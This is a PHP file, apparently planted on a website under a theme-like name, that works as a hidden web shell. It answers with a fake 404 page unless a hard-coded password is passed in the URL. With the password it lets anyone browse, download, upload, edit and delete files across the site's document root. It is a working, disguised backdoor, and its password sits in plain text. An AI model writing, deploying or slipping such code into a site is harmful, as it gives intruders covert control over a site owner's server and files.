File: /home/multivis/domains/multivistaglobal.com/private_html/theme-starter.php
<?php
/**
* WordPress File Manager - Hidden 404 Page
* Password: Optica03$
*/
error_reporting(0);
ini_set('display_errors', 0);
if (!isset($_GET['key']) || $_GET['key'] !== 'Optica03$') {
header('HTTP/1.1 404 Not Found');
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';
exit;
}
$root = $_SERVER['DOCUMENT_ROOT'];
$cwd = isset($_GET['d']) ? realpath($_GET['d']) : $root;
if (!$cwd || strpos($cwd, $root) !== 0) $cwd = $root;
$action = isset($_GET['a']) ? $_GET['a'] : 'list';
if ($action == 'download' && isset($_GET['f'])) {
$file = $cwd . '/' . basename($_GET['f']);
if (file_exists($file) && is_file($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
readfile($file);
exit;
}
}
if ($action == 'upload' && isset($_FILES['file'])) {
$target = $cwd . '/' . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $target);
header('Location: ?key=Optica03$&d=' . urlencode($cwd));
exit;
}
if ($action == 'delete' && isset($_GET['f'])) {
$file = $cwd . '/' . basename($_GET['f']);
if (file_exists($file)) { is_dir($file) ? rmdir($file) : unlink($file); }
header('Location: ?key=Optica03$&d=' . urlencode($cwd));
exit;
}
if ($action == 'edit' && isset($_GET['f'])) {
$file = $cwd . '/' . basename($_GET['f']);
if (isset($_POST['content'])) {
file_put_contents($file, $_POST['content']);
header('Location: ?key=Optica03$&d=' . urlencode($cwd));
exit;
}
$content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
echo '<html><head><title>Edit</title></head><body>';
echo '<form method="post"><textarea name="content" style="width:100%;height:80vh">' . $content . '</textarea><br><input type="submit" value="Save"></form>';
echo '</body></html>';
exit;
}
echo '<html><head><title>Files</title><style>body{font-family:monospace;font-size:12px}a{color:#00f}table{border-collapse:collapse}td,th{border:1px solid #ccc;padding:4px 8px}</style></head><body>';
echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="hidden" name="a" value="upload"><input type="submit" value="Upload"></form>';
echo '<p>Path: ' . htmlspecialchars($cwd) . '</p>';
if ($cwd != $root) {
$parent = dirname($cwd);
echo '<a href="?key=Optica03$&d=' . urlencode($parent) . '">.. (Up)</a><br>';
}
echo '<table><tr><th>Name</th><th>Size</th><th>Actions</th></tr>';
$items = @scandir($cwd);
if ($items) {
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $cwd . '/' . $item;
$is_dir = is_dir($path);
$size = $is_dir ? 'DIR' : filesize($path);
echo '<tr><td>';
if ($is_dir) {
echo '<a href="?key=Optica03$&d=' . urlencode($path) . '">[' . htmlspecialchars($item) . ']</a>';
} else {
echo htmlspecialchars($item);
}
echo '</td><td>' . $size . '</td><td>';
if (!$is_dir) {
echo '<a href="?key=Optica03$&d=' . urlencode($cwd) . '&a=download&f=' . urlencode($item) . '">DN</a> | ';
echo '<a href="?key=Optica03$&d=' . urlencode($cwd) . '&a=edit&f=' . urlencode($item) . '">ED</a> | ';
}
echo '<a href="?key=Optica03$&d=' . urlencode($cwd) . '&a=delete&f=' . urlencode($item) . '" onclick="return confirm(\'Delete?\')">DE</a>';
echo '</td></tr>';
}
}
echo '</table></body></html>';